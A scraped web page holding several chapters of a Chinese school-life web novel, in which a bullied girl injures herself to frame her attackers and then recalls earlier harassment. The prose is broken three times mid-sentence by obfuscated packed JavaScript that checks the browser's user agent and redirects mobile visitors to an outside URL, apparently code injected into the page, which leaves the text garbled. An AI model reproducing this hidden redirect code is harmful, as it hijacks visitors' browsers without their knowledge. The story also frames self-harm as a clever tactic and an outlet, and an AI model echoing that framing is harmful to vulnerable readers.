d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908912|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验吧? “我能不能一会站起来就去和王主任比一下谁的脑壳更光滑?”丁似霰问道。 乔洛递给了他一个小镜子,“感知失误,这明明是纹理感极强的男士半扎发。” 丁似霰看着镜子里的自己:头顶上编了三条蜈蚣辫,还都扯出了一些纹理,三个辫子在头后归拢到一起,乔洛把这略有些长且翘起来的发尾卷回去,绑成了一个有点炸毛的小揪揪。 “我去,这是不用发胶就能做出来的吗?” 丁似霰属于帅而自知类型的,这人在镜子里看到自己的一瞬间嘴角就压着不住了。 他以尾椎骨为轴,旋转了一百八十度,对着乔洛高举着大拇指,“洛师傅手艺高超啊!” 乔洛很满意地点头,同时拍了拍丁似霰的脑袋——她好像真的拍顺手了,揉他脑袋也很顺手。 而且这人现在天天早上都洗头发,就好像在等着乔洛一样。 在乔洛编头发的时候,班级里的议论声其实很难忽视。 但讨论的对象并不是丁似霰这个五班外来物种,而是四楼文科班的新人。 “听说三班新转来一个男生,是奉州市的实验中学转回来的,明天就来上课了。” “好像长得可帅了!” “明天要不要去看一看啊?” “不去不去,等跑操不就能看到了嘛!” “奉州实验中学,那学习是不是很好啊?” 乔洛幽幽说了一句,“学得好能回咱们这小地方吗,真以为奉州实验跟新柳实验一样分学区众生平等啊?还不是人家奉州好学生太多,学习跟不上了。” 但是她的声音很小,小到只有杨可期和丁似霰听到了。 “你怎么知道?”杨可期感觉,乔洛对这个新转来的人,有些……不喜欢。 丁似霰放下手里的镜子,停止欣赏自己的头型,饶有兴趣地听着两个女孩说话。 他早自习的时候就听说这个事情了。 要说不紧张是假的,万一那人皮囊真的很好看,洛洛感兴趣了怎么办? 但似乎乔洛对帅哥也不怎么有兴致,不然也不至于最开始对丁似霰淡淡的。 不过如今看来,他多虑了,乔洛对这个新转来的人要么无感,要么讨厌。 “我不知道,我又不知道是谁,但人之常情嘛,混的好谁会来小县城,要真是学习好的,奉州那边不得把他当祖宗供着啊?还能让他来个小县城自生自灭?” “还是你说得对,”杨可期很认可,“诶,你猜新来的和丁似霰谁好看?” “都一个鼻子俩眼睛一张嘴,能好看到哪里去。”乔洛有一种不祥的预感,这个新来的,似是仇家归。 但她突然想起来丁似霰还在一旁的地下坐着,又对着丁似霰嘿嘿一笑,加了一句,“你好看。” 上课铃打响了,丁似霰匆忙又满足地留下一句“审美正确”就跑出了四班教室。 “好吧好吧,看来你也对这个人一点好奇心都没有。”杨可期转过身,开始翻找生物练习册。 学校定的这些练习册都长一个样,还得自己在书脊上标注,麻烦。 乔洛想起了一些不太好的回忆,有点烦躁,“这人,最好不是我认识的那个。” “啊?”杨可期恍然大悟,“不能真这么离谱吧?” 可现实就是这么离谱。 第二天间操时间,乔洛和杨可期站在的队伍里——很多人都去三班看珍稀物种了,所以这个队,站得零零散散的。 乔洛双手环抱在胸前,眼角有一点抽搐。 “晦气。”天杀的,真是仇家。 21. 报仇 “谁惹到我们小姑奶奶了?”丁似霰从背后冒了出来,依旧是嬉皮笑脸的样子,头上还梳着今早死缠烂打让乔洛编的发,“有什么可看的,还没我一半帅。” 乔洛转过头去,看了一眼丁似霰,“你确实要好看很多哦。” 随着预备哨吹响,学生们很快回到了自己班级的队伍,只是那个没穿校服的人,站在排头,还是很显眼。 乔洛悄悄和同学换了个位置,藏在了队伍里面。 一个新转校生带来的新鲜感,还不如食堂新开的档口持久,当天晚上乔洛就没有再听到班级里有人讨论这个人了。 一个在四楼学文的新转校生,又能掀起多大风浪。 时间又平平淡淡地过去了一周,除去一些闲言碎语,无事发生。 但是丁似霰嗅到了些不平淡的气息,他有一天晚上悄悄给乔洛发了消息: ——有什么可以为公主殿下效劳吗?比如拳打造谣怪脚踢跟踪狂。 ——还真的有,你去当探子,最近上体育课的时候扯着跟三班那个一起打球,最好在我眼前。 ——收到!但可以申请别看他吗,我比他好看。 ——等处理完那些蠢蛋,我连余光都不给他。 下午第五节自习下课,乔洛坐在座位上,丝毫没有起身的欲望。 “不去喂狗了?”杨可期还准备了羊奶粉,大前天小花刚生了一窝小崽子,足足有七个,看起来奶水不是很足。 “我感觉,只要我出了这栋教学楼,就最近总有人在后面看着我,我都怀疑我是不是精神出问题了。”乔洛曾认为后脑勺长眼睛是一件不可能的事,但最近她就是感觉很不自在。 “不会吧,最近新材没全校戒严啊,市里也没有检察团过来。”杨可期不解。 “反正今天先不去了,工会的大爷会喂它们的。” “好吧好吧,那我去把奶粉泡了,”杨可期端着杯子站了起来,“嘿嘿,我喝,昨天我就感觉闻着挺香。” 乔洛抽出了一包奶茶粉,“我也要去,我喝这个!” 新材后山,草丛里躲着四个人,不知道在等些什么。 领头的那个,看了看手表,还有十分钟就打预备铃了,怎么还不出现? 五分钟。 两分钟。 她们站起来,伸了一下蹲得有些麻的腿,小跑着回了教学楼,什么都没有发生。 第二天体育课。 跑了八百米后,体育老师就宣布自由解散了。男生们多数去打了篮球,也有一些在操场上打着羽毛球;女孩子们多是找了个阴凉坐着聊天。 乔洛和杨可期在观众台找了一处阴凉坐下,乔洛掏出小画本,在勾勒着一些什么,杨可期在折星星。最近又掀起了一股折星星的热潮,也不知道谁起的头,莫名其妙就又玩起来了。 “你折这么多星星,要卖出去吗?”乔洛不太理解这种重复且无意义的工作。 “放瓶子里当摆设,”杨可期折好了一个,“我这个可比纸星星难多了。”她是用塑料管,确实要难一些,乔洛并不会这种。 “你画什么呢?”杨可期把头伸过来,看着乔洛的画本,“这是丁似霰?” “一会啊,有一场大戏。”乔洛打起了坏主意。 “什么大戏?” “你不感觉,这个根本看不清画的是谁吗?”乔洛好像很期待的样子,她抬起头看了一眼正前方操场上那两个打球的人,“更何况如果有人心里认定了这是谁,这就是谁。” “哦……确实啊,一个背影确实看不出来是谁。” 画本上,是一个正在打羽毛球的男生,的背影。 三班的四个女孩在看台最后一排的角落,聚在一起讨论着什么,时不时会向乔洛的方向看一眼,又飞快收回目光。 杨可期看了一眼手机,道:“洛洛,我去上一下厕所啊,你去铁门那边等着饮料吧,李哥说一会就送来了。” “嗯,好。”乔洛把画本揣进裤兜,起身独自走向铁门。 有人跟上来了。 真好。 乔洛选择了距离铁门还有三十几米的位置,停下了——因为身后有人叫她。 乔洛转过身去,“叫我?” “对,就是你,我警告你,你不许再勾引冯鑫!”领头的女孩叫王琪琪,乔洛只是听说过她的风流往事,认识这张脸,但和她从未有过交集。 “你哪只眼睛看到的,勾引?” “你不是从初中就惦记冯鑫吗!现在还贼心不死,你配不上他,何苦像狗皮膏药一样?”王琪琪颇有一种,理直气壮但苦口婆心的感觉。 乔洛有点无语,她很无奈地揉了下脸,趁机用余光瞟了一下一旁白色杆子上的小黑块。很好,红灯在闪烁。 “首先呢,我感觉无论我和他之前的事情到底是怎样的,它都……和你没什么关系,他要是有什么委屈或者是苦恼,应该是他去找老师或者他找我私了,而不是教唆你来堵我。” “你还狡辩!我今天就要帮冯鑫教训教训你!”说着,王琪琪就带着她三个“帮手”向乔洛冲了过去。 五个人瞬间厮打在了一起。 看似是乔洛被围在中间欺负。 可受伤却另有其人。 杨可期过来了。 丁似霰也过来了。 这小子挺靠谱,真把冯鑫抓来了。 哇,人越来越多。 乔洛被压在中间,她一咬牙,伸出手在自己下颌处挠出了一道血印子。 王琪琪的拳头直冲着乔洛砸过来……砸到了丁似霰背上。 “不是,哥们,我是说让你抓人过来,我没让你参战啊!”乔洛本是准备挨这一下子之后立刻倒地下碰瓷,怎么还被丁似霰截了? 体育老师喘着粗气跑了过来,好多人帮着拉架,这场闹剧终是暂停了。 乔洛可怜兮兮地坐到地上,右脸处的伤已经开始渗血了,血珠留下来,把天蓝色的校服领子染成了暗紫色。 她左胳膊无力垂下,脱臼了。 王主任的办公室,乔洛坐在沙发上,眼眶微红,杨可期和丁似霰站在她身旁,冯鑫、王琪琪和剩下的三个女生站在办公室的另一侧。 乔洛低垂着眼眸,企图掩饰住她的期待与雀跃。 三班那五个人说不清是什么情绪,紧张、恐惧、不甘心甚至愤恨交织在一起。 乔洛听到了门外似乎有脚步声。 她抬起头,有些挑衅地看着对面的五个人。 最有趣的时候要到了,那就先添点前菜吧。 乔洛看着王琪琪,用口型说了两个字。 “真蠢。” 王琪琪看懂了,她顿时就压不住火气冲了过来,企图甩乔洛一个耳光。 乔洛自然是不会让她打的,这丫头愚蠢冲撞又行动缓慢,想捏住她的手截停这个巴掌是很容易的事情。 但是不需要乔洛出手,丁似霰已经牢牢摁住了王琪琪的手。 王主任气势汹汹的摔门而入时,办公室内的画面定格在这一幕。 “干什么呢!都进办公室了还想打架?”王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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唉,魔高一尺道高一丈,乔洛选择在那个隐蔽的地方,当然有她的原因。前两天保安大爷还在和乔洛说,让她最近少去操场铁门那边取在外面订的餐食,因为新安装了监控,学校可能一时兴起看几眼。 王主任直接调取了监控,回放里清清楚楚的看到,是王琪琪先动的手。 “那我也没挠她脸,我也不会卸人胳膊!”王琪琪急了,她就会抓抓头发,挥着拳头乱砸,哪里会把乔洛伤的这么惨? “那还能是我自己打自己啊……”乔洛把脸藏起来,正好可以干打雷不下雨,只要装着哭腔,尽可能哀嚎,“老师我要报警!我不能就这么被欺负了,他们太过分了……呜呜呜……” “别别别,你看这样行不行,下周一间操,演讲先暂停,我让他们几个在国旗下忏悔,让他们公开给你道歉!”王主任不想报警,报了警那就不是学校内能解决的事情了,追究下来,上到他这个德育主任,下到体育老师,都有责任。 乔洛又抽了几下鼻子,满是委屈地说道,“那让他们清清楚楚的说为什么打我,他们污蔑我的事,都得给我澄清,我就没勾引过谁,我不想处对象,我现在就想好好学习考个大学……呜呜呜呜……” 唉,太可怜了,真的是太可怜了。杨可期拍着乔洛的后背,看似是在安抚她。 快点同意啊,再不出去喘气我要憋死了,啊啊啊啊……乔洛在内心狂喊。 王琪琪还执迷不悟,指着乔洛振振有词,“你还说你不缠着冯鑫!你刚在坐在看台上你还偷偷画他!” 22. 前尘旧怨 真蠢,乔洛不禁再次感叹,只不过这次连口型都没有,她是在心里默默说的。 她从裤兜里掏出了那张已经皱了的画,又迅速用她的脏手抹了一下眼睛,以确保眼睛是红的且有泪花在,“你睁开你的眼睛看看!这画的是丁似霰,他用的是左手挥拍!” “你,那你画他干什么?”王琪琪追问。 “我跟他关系好,他让我给他画画,你管得着吗?” “我不道歉!” “我要报警!” “冯鑫,你说句话啊,我这都是为了帮你啊!”王琪琪听到报警,也有些害怕。 冯鑫不承认,他只是对着王主任低声道,“老师,我没有挑唆王琪琪去打架。” “那你就是承认说我勾引你的谣言是你散播的了!”乔洛指着冯鑫,很是愤怒。 冯鑫没有什么底气,但还是不松口,只说当年就是乔洛对他死缠烂打。 “冯鑫,初二那个时候我才十二,你是畜生吗你说我看上你了?再说我又不瞎,我看上你什么啊,我看上你怎么学成绩都学不过我?我还是看上你换个水都拿不起来水桶那副废物样子啊?” 乔洛装不下去了,这人太无耻,“要么按照王主任说的那样给我道歉,要么就报警,你们都满十六了,打群架斗殴该负责任。” 一时间,屋内没人说话。 “我,我道歉,我不想有案底……”王琪琪先打破了安静的局面,她竟然哭了起来。 到底还是小孩子,随便吓一吓就破功了,打个小架,这点伤,怎么可能有案底。 乔洛看着他们五个都认了怂,不禁想笑起来,也不怎么样嘛,胆子这么小还想打架。 不能笑不能笑,笑太猖狂了就露馅了。乔洛又把脸埋进杨可期怀里,发出的声音让人难以辨认是哭是笑。 石忠和三班的班主任这时才赶过来,他们起到的作用也仅仅只是把自己班学生认领回去。 乔洛说要请半天假,回家平复一下心情,杨可期和丁似霰也要一起。 本来那天也是星期五,周末就放假了,石忠通知家长后,就给他们批了假。 毕竟他们是被打的,石忠一向认为被害者有罪论就是放屁。 乔洛离开主任办公室之后再也忍不住了,猖狂地笑了起来。 “哈哈哈哈哈哈,大仇得报原来是这种感觉,哈哈哈哈哈哈哈哈,我这两天得吃点好的庆祝庆祝,爽啊!” “你……没伤到脑子吧?”丁似霰看着乔洛的样子,有些打怵。 “没有,我是真开心,嘶!”乔洛表情幅度太大了,扯到了脸上的伤口,还真有点疼。她伸出右手,拍了拍丁似霰的肩膀,“多亏你那么缺德,练了左手拍,干得不错!” “到底怎么回事啊,你让我拽着他打球,怎么还和三班女孩打起来了?”丁似霰其实并不知道发生了什么。 “一会给你讲,学校里人多眼杂的,别人听了去不太好。”杨可期还是很谨慎的。 让王主任知道乔洛把他算计了,利用他来报仇,确实不太好。 “许志知道了会跳脚骂人的,咱们三个就这么跑路了。”丁似霰想到了他那远在七班的可怜兄弟。 新材高中每届都是十八个班级,六个班为一组,一起上体育课、同一天体检、连极少数时间存在的大课间都是六个班一片区域,许志因此少了很多和他们三个混在一起的机会。 “晚上你接他放学,让他感受一下有人接是什么感觉。”乔洛心情很好。 但有人心情不好。 云锦书还在奉州开教研会,接到王主任电话的时候她只感觉脑子嗡嗡作响,这该死的县城怎么就这么小,小到过去的事情还会再上演一次。 “闺女,咱不是说好了吗,无论发生什么,都不能再伤害自己是不是?”云锦书给乔洛打了电话。 其实早在小学的时候,乔洛就有点表现出来这个特质了。 她经常被欺负,而那些委屈多是“小打小闹”,无人在意。她总是认为,那就让自己更惨一些,惨到那些老师无法偏袒,必须秉公处理。 但是,当云锦书发现这些事时,似乎已经有些迟了。 “妈妈,我这不是没事嘛,脸上不会留疤的,而且这位置留了疤还更显瘦哈!” “你胳膊呢?还疼吗?” “没事,我自己卸的,下手有轻重。” “你,回家吗?” “我饿了,可期和丁似霰也请假出来了,我们去吃饭,”乔洛一向很乖,至少她不想给云锦书添任何麻烦,“妈妈你放心吧,我啥事没有,你就好好开会,回来给我带份面皮哈!我要酸甜口的。” 他们去了烧烤店,要了一个包间。 乔洛和杨可期简单地给丁似霰讲了一下事情的经过。 乔洛早就发现最近那四个蠢家伙总是盯着她,既然这样,她就想着顺水推舟。 她让杨可期假装去上厕所,然后乔洛自己一个人走到角落,给王琪琪一个机会。 然后杨可期去扩大局势,让这个在角落发生的斗殴事件迅速扩散,并且伙同丁似霰把冯鑫也抓去,始作俑者想独善其身,纯属做梦。 丁似霰当初不明白乔洛和杨可期想做什么,但他听话,扔下球拍就去拽冯鑫。他一边拽一边跟冯鑫说,“你们班打架了你得过去,本来文科男生就少,你得去撑场面,这可是你融入集体的好机会。” 嚯,这个机会实在是太好了,太难得了。 但如今想来有点遗憾,早知道这个冯鑫那么不是东西,当初就应该揪着他头发跑过去。 至于打架。 乔洛咽下了嘴里的肉筋,道:“我练了六年散打,就那几个玩意,还不够我活动筋骨的。” “那你对自己下狠手干什么,收拾他们一顿就好了啊!”丁似霰的后背现在还在疼,他还只是被锤了几下——毕竟都是女孩子,他也不好动手,只是想防御和拉架。 “你以为不弄严重点,王主任会主动说让他们给我道歉?”乔洛好像已经习以为常,“不过那几个人身上现在肯定也青一块紫一块的,明天睡醒一觉起来就更酸爽了,没个五六天缓不过来。” “这事也算了了,你以后可别再惦记了啊!”杨可期虽然没有亲眼看见乔洛初中的遭遇,但大致也是清楚的。 成年人有成年人的无奈,云锦书还是要上班,没办法一直陪着乔洛。 杨可期的学校没有早晚自习,她在学校办了长期的假条,只要正课上完,立刻就跑去找乔洛。 她当初怕乔洛看到她的长头发心里难受,还去了理发店剪头。理发师的剪子还没有动,她就被乔洛抓出了理发店。 “哪有这样的,好好的头发剪了干嘛,跟我一样留个头盔在脑袋上啊?” 这是乔洛原话。 她总是这样,哪怕有什么很不开心的事情,嘴巴也还是损损的。 整个初三,杨可期放了学都会往乔洛家里跑。她写作业,乔洛画画,她有不会的题就让乔洛给她讲。 其实乔洛都懂,杨可期怎么可能那么多不会的题,又恰巧都是重要的知识点。 很多时候无论旁人怎么帮,都得自己救自己。乔洛慢慢的开始规律了作息,偶尔和杨可期一起做一做题……毕竟就算没那些意外,乔洛也不太喜欢做题。 渐渐的,好像一切又回到了正轨,乔洛还是按照正常的时间参加中考,考上了新材高中。 “大仇得报,我还有啥可惦记的。”乔洛好像确实已经放下了许多。 丁似霰什么都没有问,但乔洛能看出来他的好奇和纠结。 “想不想听故事呀?”乔洛笑眯眯地看着丁似霰。 “不了,那么不美好的事,你还回忆干什么。”他当然想知道,但是他也清楚,这种时候,乔洛每回忆讲述一次,就是把伤疤又血淋淋的揭开一次。 “撒谎可不是好孩子,你明明很想知道,”乔洛又拿起了一串烤油边,嚼了好多口才咽下去,这玩意怎么这么硬。 “简单来说就是,冯鑫当初不知道出于什么目的,说喜欢我,然后竟然跟我说让我带着他一起学习,说什么当了他的女朋友就得跟他坦诚相待,把学习的方法都告诉他,我的天他当时老自信了,而且满眼都是对知识的渴望。 说到这我真得蛐蛐一下他,他初中学习就很努力,天天熬到很晚,外面还补了课,新课都是学三遍的,就这还考不过我,是得有多笨。” 丁似霰很震惊,这……奇才这是,百年一遇的奇才。但是他很难想象后续的发展到底是什么样,于是问道,“那后来呢?” “我没同意,他回教室就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甚至有更离谱的传言,说女孩之前是靠着男生给她开小灶才成绩那么好,现在她认为男生没用了,所以才直接抛弃掉。 她仅仅是拒绝了一个莫名其妙的表白,但她却成了众人口中的谈资,以及……让八年一班全体女生剪短发的罪人。 她不敢解释,不敢反抗。 那个男生说,要是她诋毁他,他便让女孩妈妈的课再无安宁。 好一个诋毁。 女孩剪了短发,或许是发量太多,显得蓬蓬的。 咔嚓,是剪刀的声音。 一缕碎发落到地上。 咔嚓,咔嚓,咔嚓…… 女孩的短发变得凌乱不堪,有的地方还是到下巴的长度,有些却已经短得只有几厘米。 她依旧没有反抗,那些人又有什么错呢,还有一年就毕业了,却因为她一颗老鼠屎,让大家的长发都没有再留下去的可能了。 女孩跑出班级,离开了学校。 她去了理发店,把头发剪成了类似于男生的锅盖头。 她没有再去到那个恐怖的角落,但曾经的声音却好像一直萦绕在耳边。 一切都是那么不堪。 乔洛缓过神来,摁下了厕所的冲水键,打开门,在洗手池冲洗着手和脸。 她抬起头,看着镜子中的人。眼睛是肿的,眸中好像没有任何光彩,下颌处的伤口又在渗血,血珠混着水缓缓从脸上滴落。 乔洛对着镜子描摹着自己的五官,细长的眼型谈不上可爱,随着年龄增长越发和谐,配上悲凉的目光,有几分清冷的感觉,鼻梁不算高挺但胜在和谐,嘴唇如今只是淡淡的血色,她轻轻扯了下嘴角,翘起一丝僵硬的弧度,笑得很命苦。 乔洛一直都很清晰的知道错不在她,但难免会陷入某些自我怀疑,她看着镜子里的人,喃喃自语:“其实也不丑。 我没有错,错的是他们。” 对啊,错的是他们,为什么要惩罚自己。 但为什么是我。 为什么? 她又打开水龙头,用凉水冲头,企图让自己清醒一点。 水龙头关上了,她被人拽了起来。 23. 翻篇 乔洛这次在镜子里看到了三个人——杨可期和丁似霰一左一右站在她身旁。 “青龙白虎,左右护法?”乔洛笑起来,转过身,随意用袖子擦了把脸。 “走吧,我家就在旁边的那个小区,带你洗个头去。”丁似霰道,“夏天了也不能用凉水洗头啊,而且你那个脸,这么弄多疼。” 乔洛看看杨可期,好像在征求意见。 “我也需要一起吗?”杨可期感觉这个时候她应该……识趣一点。 “我可不敢自己去陌生男人家里。”乔洛很麻利地把头发扎了起来,挽成一个巨大的丸子。 “我?陌生?啊?”丁似霰不太满意乔洛对他的定位。 “新柳就这么大点地方,我还不至于为了就近,去你家洗澡,”乔洛说着,走出了厕所,“我要回家,睡觉。” 当然她不会睡觉。 当然,杨可期和丁似霰跟着乔洛回了家。 杨可期好像进了自己家里一样熟练,她甚至有自己的拖鞋。 丁似霰看着自己脚上的那双粉色兔子拖鞋,嘶,小了点。 “你将就着穿吧,我家平时没男人,这个还是商场促销捆绑买的,40的鞋呢。”乔洛好不容易才找到一双大一点的鞋。 几年之前,乔洛逛商场的时候看上了一双粉色兔子拖鞋,但是捆绑销售一双同款的40码的拖鞋,两双比平时一双还便宜,云锦书二话不说直接买了下来。 但很遗憾,过了不到三个月乔洛就嫌弃那双鞋过于幼稚,再也没有穿过了。 浴室里传来了哗啦哗啦的水声,乔洛去洗澡了。 丁似霰坐在沙发上,略显拘谨。他指着墙上挂着的一幅毛笔字问道,“乔洛写的?” “可能云阿姨当初是想让洛洛写成这个样子的。”杨可期坐在地板上,熟练地连接着游戏手柄和电视机,“刚才进门的时候你没注意看吧,门上的对联是洛洛写的,其实也还不错,虽然没有姜姥写得好。” “姜姥?” “少年宫的返聘教师,岁数挺大了,我们当时都叫她姜姥。” “你也练过毛笔字?”丁似霰有些惊讶,乔洛和杨可期这两个人确实怎么看都不像会静下心来写字的性子。 “我俩一起学的,后来我学了隶书洛洛学的行书。” “哦,”丁似霰又看到了还在角落里的沙袋,“那这个是……?” “啊,洛洛小时候练散打,不然你以为刚才她怎么那么能打?” “哦对,她之前说过,”丁似霰看到沙袋的底座上一小层灰,不太像经常使用的样子,“感觉这个沙袋好久没碰了。” “你不感觉一个有时候会情绪失控不太知道自己在做什么的人,不太适合这种太有攻击性的爱好吗?”乔洛已经换好了衣服,从卧室走了出来。她左胳膊还是有点疼的,所以只用右手擦着头发。 丁似霰把毛巾拿了过来,“我来吧?” 他动作很轻,温柔地擦拭她的长发,和乔洛之前胡乱搓毛的行为反差极大。 “所以是阿姨不想让你练了?”他问道。 “不是,我自己不想打了,我怕我真哪天兴致上来了回学校把那个班连老师带上学生从头到尾打一遍。” “这么厉害?” “我从一年级就在练散打,初一才停,一个班不一定打得过,但是估计也不会亏本。” 乔洛盘腿坐在沙发上,丁似霰在她身后拿起吹风机很耐心地一缕一缕吹着她长长的头发。 距离那件事情已经过去将近两年了,乔洛一直没有再去剪头发,而是蓄了两年长发。 两年时间足够翻新很多东西,但却不足以遗忘。 丁似霰的动作很熟练,偶尔他的手指会碰到乔洛的脖子,凉凉的。 她突然发现,这还是第一次有雄性生物碰她的头发。丁似霰这么熟练,不会给很多女孩吹过头发吧? “经常干这种活?” “也没有很经常,有的时候给我妈吹头发。” “哦,好大儿。”乔洛小小占了一下丁似霰的便宜。她其实不太明白男生为什么都喜欢互相叫大儿子,但是莫名其妙感觉逗逗丁似霰还是蛮有趣的 乔洛面前摆着镜子。 在镜子里,她看到了丁似霰脸上有一种很奇怪的表情……有点忧伤?真奇怪,他忧伤什么。 “我都没不开心呢,你怎么忧郁上了?” “换点别的排解方法,你这法子,容易偏头疼。” “总得让我发发疯吧?我要是现在精神还正常才是真出问题了。” “你就算去打人也比自残强!” “打人犯法,自残不用负责。” 丁似霰一时间不知道该说什么,只是沉默着继续给乔洛吹头发。 吹风机的声音停了下来,他轻轻地梳顺乔洛的长发。乔洛头发是真的很好,又黑又亮,发量还多。 他才发现乔洛的头发是有一些微卷的,不是因为绑了太久的麻花辫造成的弧度,没有太大规律,却很漂亮。 这么好看的头发,真不应该被糟践了。 “可以打我。” “啥?”乔洛一时没有反应过来他在说些什么。 “心情不好,可以打我,不犯法。” 乔洛神色复杂的看着眼前的男孩。 这人莫不是真神经了,哪有人上门找打的? “我都不敢想我如果像你这样折腾,得在医院里死多少回了。小时候经常生病,又总是发烧,就要去打点滴。我青霉素过敏,只能打阿奇或者红霉素,我的天,都是一边打一边吐,贼难受。”丁似霰道,“健健康康的挺好。” “所以你这么瘦?”乔洛第一次见到丁似霰的时候就感觉他太瘦了,没有到病态的地步,但是也就是薄薄一片。 “小时候身体差,现在好很多了。”丁似霰把梳子放回了原位。 “放心,我发疯频率不高,而且我也很努力地把我自己调节成目前没什么问题的样子了,刚才就是个意外。按照目前生命体征来讲,我感觉我能把你熬走,”乔洛看着镜子里的自己,“果然刚洗过头发的时候最好看。” “什么时候都很漂亮。”丁似霰蹲在乔洛身旁,和她一起出现在镜子里,“当初看到你和男生比平板支撑的时候就感觉你很特别,又帅又美。” 乔洛对于这句没有任何预料的赞美有些发蒙,好在杨可期适时发出召唤。 “美女与病秧子,快点过来,我又卡关了!”杨可期在打超级马里奥,这该死的王八壳怎么反复乱窜。 “来了来了!”乔洛飞快地窜到杨可期身边,拿起手柄,“让你见识马里奥之神重出江湖!” “丁似霰你过来,还有手柄呢!”乔洛头也不回地喊着丁似霰。 “你胳膊又不疼了是吧?”丁似霰也坐在了地板上,拿起手柄。 “打手柄又不用抡胳膊,”乔洛突然想到,夏天没有地暖,地板是凉的,刚才他好像说他身体不好来着,“要不给你加个垫?” “大可不必,我还没那么娇弱。” 战况相当的焦灼,据不完全统计,三个人死于奇怪的蘑菇八、九次,横冲直撞的王八壳二十余次,突然冒出来的食人花差不多十二三次…… “丁似霰你不够意思啊,提前跑了都不说喊我一声!”丁似霰的手机里传来了许志的声音。 “我不是给你发短信了吗!蘑菇蘑菇!快吃!”丁似霰接通电话后就把手机放到了地上,继续打着游戏。 “你干什么呢?这么吵?” “在乔洛家打超级玛丽。” “诶你跳啊!王八壳又滚回来了!”手机里传出了乔洛的叫声。 “在哪在哪,我也要去!”许志急不可耐。 “啊我去!这地怎么是空的啊!” “快钻水管!” 许志好可怜,没人理他。 “许志你说啥?”还好,善良的洛洛还是会理人的。 “报点报点,我要去找你们!”许志已经骑着自行车离开了校门。 “伊森庄园,七号楼五单元五楼右手边的屋。”乔洛一向分不清东南西北,只能辨别前后左右。 又死了。 终于第六十一次挑战,以失败告终,果然这游戏人越多越难打。 “我去楼下买两双拖鞋,许志过来就真得光脚进屋了。”乔洛站起身,总没有让客人光脚的道理。 丁似霰又把她拽了下来,“让小志子买去,他顺路。” “哪有让客人自己花钱买拖鞋的?”乔洛多少还是感觉应该讲一些待客之道。 新柳本来就不太大,三个人挂断电话后又打了一小会游戏乔洛才想起来拖鞋的事,还没等她开门下楼,许志的电话就打过来了。 单元门打不开。 “这破门怎么诈尸了?”那个单元门时好时坏,坏的时候居多,乔洛已经有至少半个月没有用钥匙开过门了。 “正好你去买双拖鞋再上来。”丁似霰直接安排许志去干活。 “买完啦,我拎着鞋在楼下呢。” “够自觉,那就快上来吧!”丁似霰摁开了门锁,好似他也是这个屋子的主人。 许志买了两双拖鞋,但是丁似霰还是穿着那双兔子拖鞋,他说他脚小,穿着舒服。 要不是看到他漏在外面 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他们已经从超级马里奥转战到了拳皇,而乔洛和杨可期在看热闹……他们两个打不过乔洛和杨可期,于是两个女孩开始观看菜鸡互啄。 四人的目光都随着开门声转到了门口。 许志瞬间惊住了,一个不留神坐在了丁似霰腿上。 “啊!”丁似霰一声惊呼,“阿……姨好!” “阿姨好……”许志麻利的翻下身,蹲在地上和云锦书招手。 “云姨好!”杨可期也也加入了队形。 “妈妈……好?”乔洛冲着云锦书快速的眨着眼睛卖萌。 “好,都好!”云锦书拎了很多东西回来,孩子们的眼睛里都很有活,争先恐后跑到门口拎袋子,搞得云锦书有点不好意思,“正好看到商场促销,就买了不少东西……” “妈妈,不会后备箱里还有东西吧?”乔洛忽然想起了和云锦书来来回回搬了十箱矿泉水上楼的记忆。 “有……有点……” “阿姨我俩去拿!”许志和丁似霰撒腿就往楼下跑。 “这多不好,哪能让孩子干活。”云锦书想拦住他们,却被乔洛和杨可期拉住了,大小伙子干点活,挺好,而且十七岁的男生,算什么孩子,这算青壮年劳动力。 到底还是年轻小伙子力气大,二十斤大米一会就扛上来了。 “阿姨晚上请你们去吃饭吧,想吃什么?”整理好“战利品”后,云锦书提出了带他们去吃饭的建议。 “阿姨,乔洛和杨可期天天馋我们,说您做的红烧肉好吃,我俩也想吃!”丁似霰这是真话,每次吃食堂的时候乔洛和杨可期就给他们形容云锦书的手艺有多好多好,这样显得吃食堂就更命苦了。 云锦书才想起他们刚去吃过烧烤,“那也行,都喜欢吃什么,阿姨去做。” “除了树皮,他俩啥都吃。”杨可期说的也是真话,这俩人吃食堂的时候虽然感觉命苦,但也不耽误食欲。 “阿姨我会做四喜丸子,跟饭店一个味!”丁似霰毛遂自荐。 “比饭店好吃,我证明!”许志尝过,确实好吃,“阿姨,我会吃,啥都会吃,嘿嘿嘿。” “妈妈我要吃拌菜,多放紫甘蓝!” “云姨,我想喝山楂罐头了!” “都做,都做。”家里难得这么热闹,云锦书突然感觉,乔洛能交到这么多朋友,真的很好。 星期一,升旗仪式。 这是新材高中建校以来第一次国旗下忏悔。 三班的五个人站了一排陈述自己的罪行,对着乔洛一人鞠了一躬。 主持人此刻像一个司仪,他问道,“乔洛同学,你愿意原谅他们吗?” “不原谅,”为什么要原谅,伤害是难以磨平的。乔洛看着冯鑫,“我只是要他承认他自己做了什么而已。” 当年的事情其实也没有闹得很大,只是乔洛初中的学校里大多数人都知道,至于外界,大概是不清楚的,只是听过一些传言。 但人活一口气,乔洛就是想让冯鑫自食恶果。 至于那四个蠢丫头,活该。 她说罢就转头走回了四班的队伍。 那天,阳光不晒,但是很暖;天很蓝,各种形状的白云在空中飘得甚是惬意;清风吹过,带着恰到好处的清凉。 生活还是很美好的。 那就让过去的事情都过去。 